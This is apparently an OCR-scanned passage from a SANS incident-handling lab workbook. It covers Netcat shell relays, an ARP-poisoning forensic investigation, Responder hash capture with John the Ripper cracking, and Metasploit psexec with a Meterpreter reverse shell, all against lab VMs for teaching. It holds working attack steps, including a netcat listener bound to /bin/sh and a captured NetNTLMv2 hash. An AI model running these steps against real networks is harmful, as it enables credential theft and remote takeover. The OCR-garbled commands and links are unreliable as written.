In step 1, we create the listener on the victim machine.
In step 2, we create the listener on the attacker machine,

In step 3, we connect them by using a client-to-client relay.

To better understand this solution, you might wanit to trace through the solution with your finger in the graphic

below,

Attaclker Machine Relay Machine

Victim Machina

' 4 sudo sii - -
[sudo] password for seched:
root@slingshot:~#

|root@slingshot:~# nc -1 -p 2222 -a /bin/sh

farss o

whoaml,

root

Cri b

5




We've now seen fistener-to-client relays and client-to-client relays.

If you have extra time, experiment with other options, such as o listener-to-listener relay.

Why This Lab Is Important

As stated at the start of this fab, Netcat is a powerful toot. You should test how this tool - or ones like it — would
behave in your work environment (remember, you must have written permission). For many organizations,
networks are not sufficiently segmented, and these tools can allow an attacker to have free reign on your
network,

Not only is Netcat powerful (and fun) it helps highlight what a creative and skillful attacker can do with built-in
capabilities!

Bonus (If Time Permits or for Homework)

* Tryrerunning the lab with UDP!
* There are many Netcat variants out there... try some!

DNSCat2 (hupsi//github.comilagox8idnscat2), PowerCat (nips:/github_combesimarhinofpowercat), CryptCat

(http/ferypteat. sourceforge.nets), even.., GCat (hitpsi//github,com/byt3hi33d3r/geat) .

Additional Resources
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Brief Intro

In this lab we'lt review available evidence to determine which user or system launched what appears te be an
ARP cache poisoning attack.

Regquirements for This Lab

U In this lab you will use your Slingshet Linux VM. Make sure the VM is running before continuing with the lab
P exercise.

S | Try It Yourself

Review the files in ")'ﬁbrhé”/{oroié/slééI;QIQ';a';'é;c"/" - onthe course tinux VM and determine what took place.

» Alice's ARP cache!  alice arp table.txt

s+ Router's ARP cache: router arp_table.txt .
e Switch's CAM table; | switch_cam table.txt

» DHCP server's log: | DhepSrvLog-wed.log

= QOrganization's Asset Inventory spreadsheet! | asset_inventory.csv .

Walkthrough

Overyiew

S For this lab, you analyze various files using a Linux text editor, such as | gedit | or whichever other editor you

are comfortable using, along with the : gféf} command. The network architecture to analyze is shown here,

g rm o P
Haserved 123
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Router: 10.12.1.1

Alice: 10,12.1.13

Other Users DHCP Server

The Scenario

In this lab you will apply some of the concepts we've been covering in the past couple of sections. This lab is
based on a scenaric in which you play the part of an incident handter supporting an organization with a user
named Alice,

Alice has contacted the incident-response hotline, reporting that she's seeing unusual behavior in her desktop
computer's browser. In particular, starting at around 2:30 PM on a Wednesday, she began receiving a large
number of certificate warning messages that say that her browser cannot verify a certificate she is receiving
from various websites using HTTPS. Worse yet, some of the sites that Alice expects to use HTTPS, including
intranet S5L websites, are having all their URLs converted from https:// to http:/7.

The first responders from the incident-handling group have conducted a thorough scan of Alice's computer
system, and it does not appear that there is any malware instatfed on her machine, They believe that some sort
of network trickery is going on here, The first responders have gathered information from Alice's machine and
other nearby systems. We have been given the information from the ARP caches, the switch CAM table, a DHCP
server log, and the organization's asset inventory.

Gur job as the incident handler is to analyze these files to determine which machine and potentially which
person in the organization is associated with an attack against Alice's computer.

Summary:

* Around 2:30 on a Wednesday, Alice noticed that she was receiving certificate warning messages in her
browser

¢ Some of her HTTPS URLs were changed to HTTP

* Astheincident handler, you must determine which system and potentially which person may be Involved
in this attack

Copyright © 2019, joshua Wright and Mike Murr, All Rights Reserved 124



= We have the information collected by the Incident Response team in /home/tools/SGfl arp ex : onthe
Linux VM supplied on the use drive
»  Alice's ARP cache: allce _arp_ table txt
«  Router's ARP cache: router arp table txt :
= Switch's CAM table: : sr«rltch cam_ table. txt
»  DHCP server log: | DhcpSrcLog —Wed. log :

¢ QOrganization's asset inventory spreadsheet : assetiinventory.csv

Overall Approach

Alice's computer has an IP address of 10. 12 1.13. We have her computer's ARP cache (output by the . arp -a
command} in the ﬂle alice _arp - table.txt

The router acts as the default gateway for the LAN, with an [P address of 10.12.1. 1 The router s ARP cache is
focated in the | router - arp_ table txt i file, which was created by running the | sh arp ' command.

We also have the CAM table of the switch that makes up this LAN environment. This table maps each MAC
address of recently communicating machines connected to the switch to a specific physical port, located in the
file sw1tch cam - table txt o

We have the DHCP server log for the environment with information about [P address leases di strrbuted by thIS
server during the day in which the attack occurred, a Wednesday. This file is called DhepSrvhog-wed. log

Finally, we have an asset inventaory, Wthh maps specn‘lc computer systems and their MAC addresses to users in
the environment, stered in the file | asset _inventory.csv .

Questions

Our goal is to answer the following questions based on your analysis of the evidence files:

= Which machine may have launched the attack?
e Which person is associated with this machine?

You can try to answer these questions on your own, or you can continue reading this exercise to see a step-by-
step approach to determine the answers. Don't worry if you cannot immediately answer these questions. Feel
free to peek ahead for ideas about how to solve the challenge.

Hints

Look at the relationship between Alice's computer and the router, as indicated by the ARP tables from Alice's
machine and the router itself.




Look at the switch's perspective of Alice's computer and the router, as indicated in its CAM table.

Think about the switch's perspective of other nearby hosts, as well as the DHCP server's information about
those machines.

Note that different vendors display MAC addresses in different ways. Some vendors use dashes between each
byte of a MAC address whereas others use colons Sorne vendors represent higher-end hex digits in capital

Use the f .g‘re‘p“ command to search a file in a case-insensitive fashion with the © -i  option. Also to cause
grep : to display n lines before and after strings that you are searching for, you can specify - grep -B n -A

n whlch stands for displaying - " lines before and After your search string.

Answers

Step 1: Alice's ARP Cache Analysis

One way to approach this problem is by analyzing the evidence we have from Alice's own machine: Her ARP
cache. We can view this short file by using the | car command to display the file contents on your Linux box
{make sure you are in the directory where these evidence files are found: | /home/tools /5 04 _arp_ e// )

sec304@slingshot:~§ cd /home/tools/504 arp ex
secb04@slingshot: /home/tools/504_arp ex$ cat alice arp table.ixt
Alice's ARP Table:

Cr\r arp -a

Interface: 10.12.1.13 -—— 0Ox2
Internet Address Physical Address Type
10.12.1.,1 aa~aa—-aa-aa—aa-aa dynamic
10.12.1.2 00-0c=29-cf~d8-20 dynamic

Here, we can see the output that the first responders got when they ran the | _arp —a  command. In particular,
note that the ARP entry assouated with the router's IP address (10.12.1.1) maps it to an unusual- -leoking MAC

address of | aa—aa~aa-aa-aa-aa

Perhaps that is the MAC address of the attacker's machine! We can look up that MAC address in our asset
inventary by running the following command:
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f  : E sec504@slingshot: /home/tools/504 arp ex$ grep ~i aa:aaiasiaaaa:aa
' asset inventory.csv
sec504@slingshot: /home/tools /504 arp ex$

Unfortunately, that MAC address does not appear in the asset inventory. We haven't yet found the attacking
machine. However, it appears that some system has sent an ARP response that appeared to come from the
router with a MAC address of = aa-aa-as-aa-aa-aa , Very likely a spoofed MAC address.

Step 2: Roufer ARP Cache Analysis

In step 2, laok at the router's ARP cache to see the entry it has for Alice's computer. This file is longer than
Alice's ARP cache, but it still can be displayed on the screen using cat:

sec504@slingshot: /home/tools/504 arp ex$ cat router arp table.txt
Router# sh arp

Protocel Address Age (min) Hardware Addr Type Interface

Internet 10.10.1.1 - 000c.29cd.cl24 ARPA Ethernetd/0

Internet 10.12.1.2 - 000c.29¢cf.d920 ARPA Ethernet/1

Internet 10.12.1.10 - 000z.295d.94b6 ARPA Ethernetd/1

Internet 10.12,1.11 - 000c.293e.£973 ARPA  Fthernetd/l
o : Tnternet 10.12.1.13 - Dbbbb,bbbb,bbbb ARPA  Ethernet0/:
Lo : Internet 10.12.1.14 - 000c.29b6.9chd ARFA  Ethernet0/1
: Internst 10.12.1.17 - 000c.2937.adde RRPA  Ethernet0/1
Internet 10.12.1,20 - 000c,414a.ee62 ARPA  Ethernet(/1

Internet 10.12.1.21 - 0003.93ef.53fe ARPA  Ethernet(/1

Internet 10.12.1.28 - 000c.413b.244f ARPA  Ethernet(/1

Internet 10.12.1.32 - 0017.£275.4eee ARPA  Ethernet0/1

Internet 10.12.1.36 - 0003.93ad.3f82 ARPA Ethernet0/1

Internet 10.12.1.38 - 0000.0c3e.5fc2 ARPA Ethernet0/1

Internet 10.12.1.44 - 000¢.297b.2044 RRPA mthernet0/1

Internet 10.12.1.47 - 000c.29%ab.01fd ARPA  Ethernet0/1

Note that the router has a mapping of Alice's IP address (10.12.1,13) to MAC address of - bibb. bbbb. bbbb
{the format for MAC addresses that many Cisco routers use for their ARP caches}. This is also an unustal-
lcoking MAC address, made of all hexadecimal | B "'s. Perhaps it befongs to the attacker,

We can look up this new suspicious MAC addresss in the asset inventory using - grep 1!
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sec504€@slingshot: /home/tools/504 arp ex$ grep =i bb:bb:bb:bb:bb:bb
asset_inventory.osv
sec504@slingshot: /home/tools /504 arp ex$

Again, we aren't getting any luck in the asset inventory database, Still, we know that there are two unusual ARP
entries in this environment, both associated with Alice and her router. One is in Alice's ARP cache, with an
erroneous entry for the router. The other is in the router's ARP cache, with an erroneous entry for Alice's
machine. This situation looks like a double-ARP-cache poisoning,

Step 3: Switch CAM Table Analysis

Based on the initial analysis, we've seen that MAC addresses of all A :sand all B 5 Seem to be associated
with the attack. Next we will examine the switch CAM table to get an idea of the physical location of the system
using these MAC addresses,

The switch's CAM tahle maps MAC addresses to physical ports, so let's look there, starting with MAC address
aaaa.aaaa.aasa .We cansearchusing i grep in a case-insensitive fashion (-1 ), displaying three lines

before and after (; -a 3 -8 3 i) lines with our String | aaaa.aaaa.aaaa |

sec504@slingshot: /home/tools/504_arp ex$ grep ~i ~A 3 ~B 3 aasa.aaaa.aaaa
switch cam table. txt

1 000c.285d, 94bé DYNAMIC Fa0/13

1 0000.0c3e.5fc2 DYNAMIC Fa0/14

1 000c,2%ab . 014 DYNAMIC Fa0/15

1 aaad.aaaa.aaaa DYNAMIC Fal/15

1 bbbb. bbbk . bbb DYNAMIC Fal/1l5

1 0003.93ef.53fe¢ DYNAMIC Fa0/16

1 000c.293e.£973 DYNAMIC Fad/17

This output is interesting. Note that MAC address | aaaa.aaaa.aaaz : is found on physical switch port Fa0/15.
In other words, a machine on that switch port sent traffic with that source MAC address, which caused the
switch to foad this entry in the CAM table. What's more, that same switch port alsa has MAC address

bbb bbbk bbb _ associated with it! Clearly, something unusual is happening on physical port Fa0/15 of our

switch!

Loaking at the CAM table for port Fa0/15 we also see an additional MAC address: : 000c, 29ab.0it4 -. There is
no other MAC address on that port, so we can infer that the system with this MAC address may have launched
the attack.
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Next, let's look up the valid-looking MAC address in the asset inventory:

sec504@slingshot: /home/tocls/504 arp ex§ grep ~i Q0:0c:29:8b:0i:£4
asset _inventory.csv
ThinkPad T500,M2-AC23E,Vincent Smith,320,00:0C:29:AB:01:F4

We've got a match! A Thinkpad machine assigned to Vincent Smith has that MAC address.

Step 4: Additional Corrohorating Evidence

So, we see that Vincent Smith's Thinkpad may have launched the attack. We can also pull some additicnal
corrohorating information about this machine from the DHCP server log with the | grep ' command:

sec504@slingshot:/home/tools/504 arp ex$ grep ~i 000C29ABL1F4 DhepSryvLog-Wed. log
10,07/15/09,14:31:49,Assign, 10.12.1.47,VSMITH, 000C28ABO1F4,
12,07/15/09,14:49:58, Release, 10.12.1, 47, VSMITH, 000C29AB01F4,

Here, we see that VSMITH was assigned an IP address of 10.12.1.47 from 2:31 to 2:49 PM, the approximate time
frame of the attack against Alice.

What's more, we can search the DHCP log for Alice's MAC address as well:

sec504@slingshot: /home/tools/504 arp ex$ grep -1 Q00C285223RC DhepSrvlog-Wed, Loy
10,07/15/09,14:05:45,Assign,10.12.1.13,ALICE., 000C2952238C,

We can see that Alice received a DHCP lease at 2:05 PM, a little before Vincent Smith received his DHCP lease.
That is, a machine with Vincent's MAC address joined the network (and left) while Alice's machine had a valid
DHCP lease.

This information helps confirm the timing of the attack and is consistent with the evidence pointing to Vincent's
machine, From a timing perspective, Alice joined the network, then Vincent's machine joined the network. The
attack then occurred, and Vincent’s machine left the network shortly thereafter,
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Conclugion

In conclusion, Vincent Smith's machine may have launched the attack, and Vincent $mith s our current suspect.
However, note that we don't know for sure whether Vincent himself launched the attack. It is possible that
Vincent is the attacker. it's aiso possible that his machine may be infected with malware or otherwise
compromised by an intruder who launched the attack against Alice. Alternatively, someone may be spoofing
using Vincent's machine's MAC address. Still, we've gathered encugh information to focus our follow-on
investigation.

As an Incident handler, follow-up steps likely involve contacting Hurman Resources advising that you have
reason to suspect wrangdoing by Vincent Smith or his computer, We'd want to get HR's OK to analyze Vincent
and his machine in more detail.

In this {ab, we saw how incident handlers can perform analysis of MAC addrasses in ARP caches, CAM ta bles,
DHCP logs, and asset inventories from their environments to identify attacking machines and datermine
potential suspects during an investigation,

It is interesting to note the MAC address of Vincent's machine has an OU| of §”0”0 :0c:29 . MAC addresses
beginning with these characters are usually virtual machines.

Why This Lab Is Important

Al too often, organizations overlock the ample evidence available to them. As defenders we must realize that
everything in our network can be used as a detection and prevention tool. With the right creativity and
understanding, even lowly switches and other network devices can be turned into a distributed detection
system.

Bonus (If Time Permits or for Homework)

« Conduct a periodic test to see how fast you can gather this sort of data and perform this level of analysis in
your work network. With a little practice, this should only take a matter of minutes.

* Investigate tools that will help facilitate the gathering of this sort of evidence in your environment.

« Write a script or series of scripts that would help automate portions of this lab,

Additional Resources

SANS SECH03: intrusion Detection In-Depth tharpsyfvww 5a05.0rg/52¢5037

Network Forensics: Tracking Hackers through Cyberspace (nttpsi/fwww pearson.com/us/higher-aducation/programiavidott.

Network-Ferensics-Tracking-Hackers-through-Cyberspace/PGA322390 himl)
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Brief Intro

g We've mentioned the responder tool several times already. Now it's your time to play with this powerful and
fascinating tool.

Requirements for This Lab

In this lab you will use both your Slingshot Linux VM, and the Windows 10 VM. Make sure both VMs are running
before continuing with the lab exercise,

Try It Yourself

‘ Run Responder on your Linux VM to grab the NetNTLM password from your Windows VM.

- Walkthrough

S Verify Connectivity

On the Linux VM, test connectivity to the Windows VM using the ~ping * utility:

:m:! sec5048slingshot:~$ ping ~¢ 3 10,10.0.1

’ PTNG 10.10.0.% {10.10.0.1) 56(84) bytes of data.

64 bytes from 10.10.0.1: icmp seqg=1 tt1=128 time=0.872 ms
64 bytes from 10.10.0.1: icmp seq=2 ttl=128 time=1.14 ms
64 bytes from 10.10.0.1: icmp_seg=3 ttl=128 time=l.40 ms

--- 10.10.0.1 ping statistics ---
3 packets transmitted, 3 recelved, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.872/1.141/1.404/0.218 ms

G Repeat this step, this time testing the connectivity from the Windows YM to the Linux VM:




Ci\Users\Sech04> ping 10.10.%5.1

Pinging 10.10.75.1 with 32 bytes of data:

Reply from 10.10,.75.1: bytes=32 time<lms TTL=64
Reply from 10.10.75.1: bytes=32 time=lms TTL=64
Reply from 10.10.75.1: bytes=32 time<lms TTL=64
Reply from 10.10.75.1: bytes=32 time=lnms TTL=64

Ping statistics for 10.10.75.1:
Packets: Sent = 4, Received = 4, Lost = 0 (
é Approximate round trip times in milli-seconds:
: Minimum = Oms, Maximum = Ilms, Average = Oms

% loss),

If you are unable to get a response from the Windows VM or the Linux VM, take a lock at the Testing Virtual

Machine Connectivity (vM-Connactvity-Test html) module for troubl

Open a Terminal, Access Root Account

From the Slingshot Linux VM, open a terminal. Access the root

eshooting steps.

account using = sudo

sec504@slingshot:~¢ sudo su —
[sude] password for sec504: sec304
root@slingshot:~#

~ as shown:

Preparing to Run Responder

Next, navigate to the * /opt/responder i directory, as shown:

root@slingshot:~# cd fopt/Responder
root@slingshot: /opt/Responder#

Launch Responder

Launch Responder with the following options as shown below:
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| T etn0 the’ -1 tells responder which interface to run on for capturing network activity

e i 10.10.75.1 :the -i ' option tells responder what L 1p a'ci'd;:'eéé”; to tell victim systems to connect
to for LLMNR responses

root@slingshot: /opt/Respondert ./Responder.py -I ethd -i 10.10,.75.%

NBT-NS, LLMNR & MDNS Responder 2.3

: o Author: Laurent Gaffie (laurent.gaffielgmail.com)
Pl : To kill this script hit CRTL-C

[+] Poisoners:

LLMNR [OM]
NBT-NS [ON]
DNS/MDNS [ON]

[+] Servers:
HTTP server [OW]

trimmed for space

{1] Error starting TCP server on port 80, check permissions or other servers running.

[+] Listening for events...

| . The responder error on port 80 can be safely ignored.

Access a Non-existent System

S Return to your Windows VM, Open File Explorer and try to browse to a non-existent server (something like
\\hellooo504 ) using the location bar.




- ] X

v -%ﬂ Suarch Ms.., £

s Quick access
B3 Desktop
# Downioads

etc
i profile.d
ssh
#& OneDrive
E5 This PC
& Desktop

8- Downloads

b Music ¥
1item

[n the example abave, [ simply tried to connectto | \\nellooo504 |. After a few moments, | got a pop-up saying
that my system cannot connect to the © \\nelloo0504 = system.

Metwork Error x

Windows cannot access \Whellooo504

Check the spelling of the name. Otherwise, there might be a problem with your network, To
try ta identify and resolve network problems, click Diagnose,

i Seedetalls - B wrul

o Cangel o

Butitdid try. And when it tried, it sent my password hash. Let's go see what that looks like.

Observe Capiured NTLMv2 Haches

D .
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[1] Error starting TCP server on port 80, check permissions or other servers running.
[+] Listening for events
[*] [NBT-NS} Poisoned answer sent to 10.10.75.1 for name WORKGROUP Iservice: Local

; i Master Browser)
[*1 [MBT-N3] Poisoned answer sent to 10.10.75.1 for name WORKGROUP tservice: Local
Master Browser)

[*] [NBT-NS] Poisoned answer sent to 10.10.0.1 for name SECS504 (service: Domain

Master Browser)

— : [*] [NBT-NS] Poisconed answer sent to 10.10.0.1 for name WORKGROUP (service: Domain

o : Master Browser)
! [*] [MBT-NS] Poisoned answer sent to 10.10.0.1 for name SLINGSHOT tservice: File
Server)
[*] [LLMNR] Poisoned answer sent to 10.10.0.1 for name SLINGSHOT
i B ; [*] [NBT-N$] Poisoned answer sent toc 10.10.0.1 for name HELLOOOS5G4 {service: File

) H Server)
‘ f} : [*] [LLMNR] Poiscned answer sent te 10.10.0.1 for name hellooo504
: [SMB] NTLMv2-88P Client  : 10.10.0.1

{SMB] NTLMv2-SS$P Username : SEC5043TUDENT\Sec504
[SMB] NTLMvZ-33P Hash
560504::SEC504STUDENT:1122334455667788:338OBlOCSCSlCFO@FACAQDZDIQ@OSFDZ:01010000000000000

CO69E214097040110AB96EEF17BGBFCOOOOODDOO2000ADO53004DOO42003100320001000A0053DO4D0042003lOd

003200030DGAOOS300400042003100320005000A0053004000420031003200080030003000OOOOOOOOOOOOOIOOd

06F549EC7A54315E7F8A52lSZAlBAFd444BBT34F489EC4044OAOO]OOODOGOOOOOOOOOOOOOOOOOOOOOODOOOOOOO%

680065006C006CO06F006F00AF003500300034000000000000000C000

Thankfully, we do not need to copy and paste this information. Responcer automatically saves it tc a file
already formatted to be cracked by tools like John the Ripper and Hashcat.

Stop the Responder Session

Next, stop your Responder session by pressing CTRL+C in the Responder terminal window,

Crack the Passwoerd Hash

i With our Responder session stopped, we can proceed to password cracking using John the Ripper,

From the terminal where you just stopped Responder, change to the | 1ogs  directory, as shown:
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root@slingshot: /opt/Responder# od logs/
root@slingshot:/opt/Responder/logs#

file, as shown:

rootl@slingshot: /opt/Responder/logs# john =--format=netntlmv? SMEB~NTLMvZ-SS5h-
16.10.0.1, txt

Using default input encoding: UTF-8

Loaded 1 password hash (netntlmv2, NTLMv2, C/R [MD4 HMAC-MD5 32/641)

Press 'q' or Ctrl-C to abort, almost any other key for status

secS504 {Sec504)

1g 0:00:00:00 DONE 1/3 (2018-12-19 02:15) 100.0g/s 1200p/s 1200c/s 1200C/s sec504
Use the "--show" option to display all of the cracked passwords reliably

Sesslion completed

Conclugion

This lab showed just how dangerous an attacker can be when they get on the same network as a victim, There
are a large number of Layer 2 attacks that can easily be launched on any system which is on the same local
network as the attacker.

Once again, user awareness, firewalls, and application whitelisting are quickly becoming critical for any robust
security architecture.

Why This Lab Is Important

This lab should highlight how trivially easy it is to grab hashes from an improperly configured host. You must try
to disable LLMNR, WPAD, and any other common miscarfiguration discussed in this module of the class.

Failure to do so will likely result in devastating attacks once an adversary is able to get into your network, If
there are legacy systems which require these insecure settings, please put them in an isolated network zone to
minimize the risk to your organization,

Bonus (If Time Permits or Homework)

* Run Responder on your network (REMEMBER YOU MUST HAVE WRITTEN PERMISSION)
* Tryrunning the PowerShell equivalent of this lab, inveigh thitps.//github.com/Kevin-Robertson/inveigh)
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Additional Resources

Responder for Purple Teams (hup:/fiwww.irongesk.com/i.php?page=videos/derhyconé/s| 0-responder-for-purple-tearns-kevin-
, gennuso)
i b blied)

Ca




Brief Intro

fn this lab, we'll attack the Windows VM from the Linux VM. In doing so, we'll expose you to some of the
features of Metasploit. You will learn what skillful attackers can do to a victim system. Additionally, you'll see
that even advanced attackers will leave traces that skiliful defenders can use to track what the adversary is
doing.

Requirements for This Lab

In this lab you will use both your Slingshot Linux VM, and the Windows 10 VM. Make sure both VMs are running
before continuing with the lab exercise.

Try It Yourself

Use the | psexec - module and attack the Windows system. Pivot to a process and look for artifacts that allow
you to detect attacker behavior.

Walkthrough

Goals of Metasploit Lab

The goals of this lab are twofold. First, we look at some of the most useful attack capabilities of Metasploit:
msfconsole ,the : psexec | module, the Meterpreter payload with a reverse connection, the hashdump
féétures, and”process migration. Second, we analyze the systems as they are attacked, locoking at TCP port
usage, process activity, event logs, and memory footprints of processes. In other words, this [ab is structured so
that we can see how Matasploit is used to attack, but also so we can analyze its impact on the victim system
itself.

To achleve these goals, the lab is broken into three phases:

= First, we set up the systems to communicate for the attack.
* Secondly, we launch the attack.
*  Finally, we analyze the impact of the attack on Windows.
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For this lab, you will use your Slingshot Linux VM to attack your Windows machine. In the Linux VM you will use
the Metasploit psexsc . module to attack Windows, injecting the Meterpreter payload (which runs in a
powershell.exe process, which is a standard process designed to run code from a DLL, a standard part of

WinddWs) with communication via a reverse TCP connection going from Windows back to Linux. You will type

| '_ | commands on Linux into a - meterpreter | prompt but they take effect on your Windows machine.

Verify Connectivity

On the Linux VM, test connectivity to the Windows VM using the © ping : utility:

sech04@slingshot:~$ ping ~o¢ 3 10.10.0.1

PING 10.10.0.1 (10.,10,0.1) 56(84} bytes of data.

64 bytes from 10.10.0.1: icmp seg=l ttl=128 time~0.872 ms
= 64 bytes from 10.10.0.1: icmp seg=Z tt1=128 time=1.14 ms
64 bytes from 10.10.0.1: icmp _seg=3 ttl=128 time=1.40 ms

——= 10.,10.0.1 ping statistics —-~
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.872/1.141/1.404/0.218 ms

Repeat this step, this time testing the connectivity frem the Windows VM to the Linux VM:

C:\Users\Sech04> ping 10.10.75.1

Pinging 10.10.75.1 with 32 bytes of data:

Reply from 10.10.75.1: bytes=32 time<lms TTL=64
Reply from 10.10.75.1: bytes=32 time=Ilms TTL=64
Reply from 10.10.75.1: bytes=32 time<lms TTL=64
Reply from 10,10.75.1: bytes=32 time=lms TTL=64

Ping statistics for 10.310.75.1:
Packets: Sent = 4, Received = 4, Lest = 0 (0% loss},
Approzimate round trip times in milli-secconds:

Minimum = Oms, Maximum = lms, Average = Oms

If you are unable to get a response from the Windows VM or the Linux VM, take a lcok at the Testing Virtual
Machine Connectivity (vi-Connectivity-Testimy) module for troubleshooting steps.

Open a Terminal
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From the Slingshot Linux VM, open a terminal. You will complete the attack steps in this lab from this terminal
prompt.

Launch MSFconsole

Next, start | msfconsole = from the terminal, as shown here;

sech04@slingshot:~$ msfconsole -q
£_] o

[-] * WARNING: No database support: No database YAML file
[_,] *h Kk

nsth >

Normally when you start Metasploit, you will see an ASCI art banner. More than a dozen banners are available,
selected at random by Metasploit when it begins running. Adding | - | suppresses that banner.

View Metasploit Exploits

Copyright © 2015, joshua Wright and Mike Murr, Al Rights Reserved



msf5 > show exploits

Exploits

Name Disclosure Date
Rank Check Description

aix/local/ibstat_path 2013-09-24
excellent Yes ibstat SPATH Privilege Escalation

alx/rpc_cmsd opcodeZl 2009-10-07
great Wo ATX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer
Overflow

aix/rpc_ttdbserverd_realpath 2009-06-17
great No ToolTalk rpo.titdbserverd _tt internal realpath Buffer Overflow
(AIX)

android/adip/adb_server_esxec 2016-01-01
excellent Yes Android ADE Debug Server Remote Paylcad Execution

This command may take a minute to complete. There are a lot of exploits!

Take a minute to glance through the many exploits offered by Metasploit.

Exploit Search

Metasploit has an overwhelming number of exploits, Fortunately, Metasploit also offers a search facility to
identify any Metasploit modules with a matching keyword.

Fromthe msf5 ‘>'§ prompt, search for the Metasplait psexec module, using the typeexp101t flag to
limit the search results to matching exploits, as shown here;
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msf5 > search type:exploit psexec

Matching Modules

Ne

Name Disclosure Date Rank
Description

exploit/windows/local/current_user psexec 1999-01-01 excellent
PsExec via Current User Token

exploit/windows/local/wni 1999-01-01 excellent
Windows Management Instrumentation (WMI) Remote Command Execution

exploit/windows/smb/msl7_010 psexec 2017-03-14 normal
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code
Execution

exploit/windows/smb/psexec 19%9~01-01 manual

Microsoft Windows Authenticated User Code Execution
exploit/windows/smb/psexec psh 1999-01-01 manual

Microsoft Windows Authenticated Powershell Command Execution
exploit/windows/smb/webexac 2018-10-24 manual

WebExec Authenticated User Code Executien

Mo

No

Ne
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msf5 > help search

| N é Usage: search [ options ]
OPTICHS: i
~h Show this help information :
) -0 Send output to a file in csv format
-8 Search string for row filter
Keywords:
_ aka . Modules with a matching AKA (also-known-as} name
author :  Modules written by this author
arch : Modules affecting this architecture
i : bid : Modules with a matching Bugtrag ID
faaeal : cve : Modules with a matching CVE ID

: : adb . Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date 1 Modules with a matching disclesure date
description : Medules with a matching description
full name ¢ Modules with a matching full name
mod time : Modules with a matching medification date
name 1 Modules with a matching descriptive name
path : Modules with a matching path

I platform : Modules affecting this platform

: port : Modules with a matching port
rank . Modules with a matching rank (Can be descriptive (ex: "good') or

numeric with comparison operators {ex: 'gted400'))

ref : Modules with a matching ref

reference ;. Modules with a matching reference

target :  Modules affecting this target

type - ;- Modules of a specific type {explcit, payload,.auxiliary, encoder,

evasion, post, or nop)

Exanmples:
search cve:2009 tvpe:expleit

Metasploit Local Shell Interaction

The | msfeonsole  tool has numerous commands it processes, as we'll see. But, if | msfeonsole | ever

receives a command that it doesn't support, it passes it to the underlying ©S$ shell to run, ailbwing us to interact
with the OS within | msfeonsele . Let's examine the list of files in the current directory by running the  1s

command, as shown here;

a3
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msf’ » is
[*] exec: ls

CourseFiles
Desktop
Documents
Downloads
go

Music
Pictures
Public
rita

Temp
Templates
tools
Videos

Exploit Spotlight: psexec

In this lab, we use an exploit that is not quite an exploit: = psexec . Itis, by far, the most heavily used exploit

msf5 > info exploit/windows/smb/psexec

Name :
Module:
Platform:
Arch:
Privileged:
License:
Rank:
Disclosed:

Microseoft Windows Authenticated User Code Execution
exploit/windows/smb/psexec

Windows

xBE, x64

Yes

Metasploit Framework License (BSD)

Manual

1989-01-01
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This may seem like a simple thing, but it is particularly useful when uploading or downloading files to the victim
system through Metasploit.

because it allows attackers and testers to use captured credentials (or hashes) to move laterally in a network,
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In your output you will see the various configuration options and commentary on usage of this module. The

psexec | module is one of the most useful modules in all of Metasploit, because it lets us run code on a target
with SYSTEM privileges using an SMB connection established with administrator credentials. It is especially
useful in a fully patched Windows environmeant.

Configuring Metasploit to Use psexec

Let's configure Metasploit to launch the attack, Let's select the | exploit/windows/smb/psexec | madule,

Metasploit supports Tab autocomplete when typing module and variable names; try it by hitting Tab half-way
through each of the following words.)

msfS > use sxploit/windows/smb/psexea
msf explolt {psexec) >

Use a payload Meterpreter payload to make a reverse TCP connection:

msf exploit{psexec) > set FAYLOAD windows/meterprater/reverse_top

[ISEER PAYLOAD => windows/meterpreter/reverse_top

Now, we can get a list of all the variables associated with this exploit and payload by running:
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nsf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Reguired Description

RHOSTS yes The target address range or CIDR
identifier

RPORT 445 yes The SMB service port (TCP)

SERVICE DESCRIPTION no Service description to to be used
on target for pretty listing

SERVICE_DISPLAY NAME no The service display name

SERVICE_NAME no The service name

SHARE ADMINS yes The share to connect to, can be
an admin share (ADMINS,C3,...) or a normal read/write folder share

SMBDomain . no The Windows domain to use for
authentication

SMBPass no The password for the specified
username

SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):

Name Corrent Setting Required Description

EXITFUNC thread ves Exit technigue {Rccepted: "', seh, thread,
process, none)

LHOST yes The listen address {an interface may he
specified)

LPORT 4444 ves The listen port

Exploit target:

Id Wame

0 Automatic

Here, we see alist of variables associated with the ~ psexec - module, as well as those for the Meterpreter
{ reverse tcp ' payload. We configure these options next.

Configure Exploit Parameters

In this lab you will exploit the Windows VM at 10.10.0.71. The target of the exploit is stored in the ) RIHOI..S.T“
variable. Set that parameter, as shown here:
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msf exploit(psexec) > set RHOST 10.10.0.1
RHOS3T =» 10.10.0.1

The psexec = module needs credentials of a user in the administrators group on the target machine. It uses
these credentials to remotely create a service, which it then uses to run the payload code with SYSTEM
privileges, Set the | sMRUser . and : SMB.P:a.é.s.g variables to values associated with a user in the admin group of
your Windows machi'h.é,”a‘s shown here:

msf exploit(psexec) > sat SHEUSER saci04
SMBUSER => sec504
msf exploit(psexec) > set BSMBPRSS seci04
SMBEASS => sech04

Now, you may wonder how an attacker got such a password. He or she may have gotten them through
automated password guessing, cracking, or sniffing. We discuss various password attacks in more detail in book
4 for this class.

it's worth noting that the . smsPass | variable could be set to a value of the user's LANMAN:NTHash insteod of
the user's actual password, Metasploit supports pass-the-hash attacks for psexec | against Windows, where we

can outhenticate to o target using only its hashes (not the password). We also talk about pass-the-hash attacks in
book 4.

to, We want it to connect to the Linux VM. Setthe wtuest | parameter as shown here:

msf exploit(psexec) > sat LHOST 10.10.75.1
LHOST => 10.10,75.1

There is also an , Leosr - variable which we could define to identify a TCP port to connect back on. We leave it
with the default of 4444 so that we can easily spot this connection. A stealthy attacker, though, may choose 80
or 443 to blend in with HTTP or HTTPS activity.




Finally, let's review the options again to make sure we've set them all appropriately. Enter the -~ show options |

command, as shown here:

mst exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description

RHOSTS 10.10.0.1 yes The target address range or CIDR
identifier

RPORT 445 ves The SMB service port (TCP)

SERVICE DESCRIPTION no Service description to to be used
on target for pretty listing

